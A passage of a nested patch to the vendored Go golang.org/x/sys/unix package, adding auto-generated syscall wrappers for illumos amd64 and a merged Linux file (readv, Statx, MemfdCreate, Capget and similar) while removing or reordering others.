-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
-new file mode 100644
-index 00000000..92efa1da
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
-@@ -0,0 +1,87 @@
-+// go run mksyscall_solaris.go -illumos -tags illumos,amd64 syscall_illumos.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build illumos,amd64
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+//go:cgo_import_dynamic libc_readv readv "libc.so"
-+//go:cgo_import_dynamic libc_preadv preadv "libc.so"
-+//go:cgo_import_dynamic libc_writev writev "libc.so"
-+//go:cgo_import_dynamic libc_pwritev pwritev "libc.so"
-+
-+//go:linkname procreadv libc_readv
-+//go:linkname procpreadv libc_preadv
-+//go:linkname procwritev libc_writev
-+//go:linkname procpwritev libc_pwritev
-+
-+var (
-+ procreadv,
-+ procpreadv,
-+ procwritev,
-+ procpwritev syscallFunc
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readv(fd int, iovs []Iovec) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procreadv)), 3, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func preadv(fd int, iovs []Iovec, off int64) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpreadv)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), uintptr(off), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func writev(fd int, iovs []Iovec) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procwritev)), 3, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pwritev(fd int, iovs []Iovec, off int64) (n int, err error) {
-+ var _p0 *Iovec
-+ if len(iovs) > 0 {
-+ _p0 = &iovs[0]
-+ }
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpwritev)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(len(iovs)), uintptr(off), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
-similarity index 79%
-copy from vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_linux.go
-index b6ff9e39..fd2dae8e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
-@@ -1,7 +1,6 @@
--// mksyscall.pl -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
--// Code generated by the command above; see README.md. DO NOT EDIT.
-+// Code generated by mkmerge.go; DO NOT EDIT.
-
--// +build linux,s390x
-+// +build linux
-
- package unix
-
-@@ -10,7 +9,16 @@ import (
- "unsafe"
- )
-
--var _ syscall.Errno
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FanotifyInit(flags uint, event_f_flags uint) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_FANOTIFY_INIT, uintptr(flags), uintptr(event_f_flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -143,21 +151,6 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -173,16 +166,6 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getcwd(buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
-@@ -309,6 +292,36 @@ func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(keyType)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(restriction)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func keyctlRestrictKeyring(cmd int, arg2 int) (err error) {
-+ _, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
- if e1 != 0 {
-@@ -412,6 +425,26 @@ func Adjtimex(buf *Timex) (state int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Capget(hdr *CapUserHeader, data *CapUserData) (err error) {
-+ _, _, e1 := RawSyscall(SYS_CAPGET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Capset(hdr *CapUserHeader, data *CapUserData) (err error) {
-+ _, _, e1 := RawSyscall(SYS_CAPSET, uintptr(unsafe.Pointer(hdr)), uintptr(unsafe.Pointer(data)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -442,6 +475,16 @@ func Chroot(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ClockGetres(clockid int32, res *Timespec) (err error) {
-+ _, _, e1 := Syscall(SYS_CLOCK_GETRES, uintptr(clockid), uintptr(unsafe.Pointer(res)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ClockGettime(clockid int32, time *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
-@@ -452,6 +495,16 @@ func ClockGettime(clockid int32, time *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ClockNanosleep(clockid int32, flags int, request *Timespec, remain *Timespec) (err error) {
-+ _, _, e1 := Syscall6(SYS_CLOCK_NANOSLEEP, uintptr(clockid), uintptr(flags), uintptr(unsafe.Pointer(request)), uintptr(unsafe.Pointer(remain)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Close(fd int) (err error) {
- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -473,9 +526,13 @@ func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags in
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-+func DeleteModule(name string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(name)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_DELETE_MODULE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -484,8 +541,9 @@ func Dup(oldfd int) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -494,9 +552,8 @@ func Dup3(oldfd int, newfd int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-+func Dup3(oldfd int, newfd int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -538,19 +595,14 @@ func Eventfd(initval uint, flags int) (fd int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-+ SyscallNoError(SYS_EXIT_GROUP, uintptr(code), 0, 0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+func Fchdir(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -559,8 +611,8 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-+func Fchmod(fd int, mode uint32) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -569,8 +621,13 @@ func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -579,8 +636,8 @@ func Fchdir(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+func Fdatasync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -589,13 +646,20 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-+ _p0, err = BytePtrFromString(attr)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ var _p1 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p1 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), 0, 0)
-+ sz = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -604,9 +668,13 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func FinitModule(fd int, params string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(params)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FINIT_MODULE, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -615,8 +683,15 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p0 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_FLISTXATTR, uintptr(fd), uintptr(_p0), uintptr(len(dest)))
-+ sz = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -635,6 +710,42 @@ func Flock(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fremovexattr(fd int, attr string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fsetxattr(fd int, attr string, dest []byte, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(dest) > 0 {
-+ _p1 = unsafe.Pointer(&dest[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -674,7 +785,7 @@ func Getpgid(pid int) (pgid int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETPID, 0, 0, 0)
- pid = int(r0)
- return
- }
-@@ -682,7 +793,7 @@ func Getpid() (pid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETPPID, 0, 0, 0)
- ppid = int(r0)
- return
- }
-@@ -739,7 +850,7 @@ func Getsid(pid int) (sid int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETTID, 0, 0, 0)
- tid = int(r0)
- return
- }
-@@ -773,6 +884,27 @@ func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func InitModule(moduleImage []byte, params string) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(moduleImage) > 0 {
-+ _p0 = unsafe.Pointer(&moduleImage[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(params)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_INIT_MODULE, uintptr(_p0), uintptr(len(moduleImage)), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(pathname)
-@@ -955,6 +1087,22 @@ func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func MemfdCreate(name string, flags int) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(name)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall(SYS_MEMFD_CREATE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -995,6 +1143,17 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PERF_EVENT_OPEN, uintptr(unsafe.Pointer(attr)), uintptr(pid), uintptr(cpu), uintptr(groupFd), uintptr(flags), 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func PivotRoot(newroot string, putold string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(newroot)
-@@ -1035,6 +1194,17 @@ func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func read(fd int, p []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(p) > 0 {
-@@ -1072,7 +1242,7 @@ func Removexattr(path string, attr string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+func Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(oldpath)
- if err != nil {
-@@ -1083,7 +1253,7 @@ func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err e
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := Syscall6(SYS_RENAMEAT2, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1227,15 +1397,24 @@ func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-+func signalfd(fd int, sigmask *Sigset_t, maskSize uintptr, flags int) (newfd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SIGNALFD4, uintptr(fd), uintptr(unsafe.Pointer(sigmask)), uintptr(maskSize), uintptr(flags), 0, 0)
-+ newfd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_STATX, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mask), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +1423,15 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Sync() {
-+ SyscallNoError(SYS_SYNC, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Syncfs(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1254,9 +1440,8 @@ func Sysinfo(info *Sysinfo_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-+func Sysinfo(info *Sysinfo_t) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1287,7 +1472,7 @@ func Times(tms *Tms) (ticks uintptr, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_UMASK, uintptr(mask), 0, 0)
- oldmask = int(r0)
- return
- }
-@@ -1329,16 +1514,6 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func write(fd int, p []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(p) > 0 {
-@@ -1388,24 +1563,15 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-+func readv(fd int, iovs []Iovec) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-+ r0, _, e1 := Syscall(SYS_READV, uintptr(fd), uintptr(_p0), uintptr(len(iovs)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1414,14 +1580,15 @@ func Madvise(b []byte, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mprotect(b []byte, prot int) (err error) {
-+func writev(fd int, iovs []Iovec) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-+ if len(iovs) > 0 {
-+ _p0 = unsafe.Pointer(&iovs[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
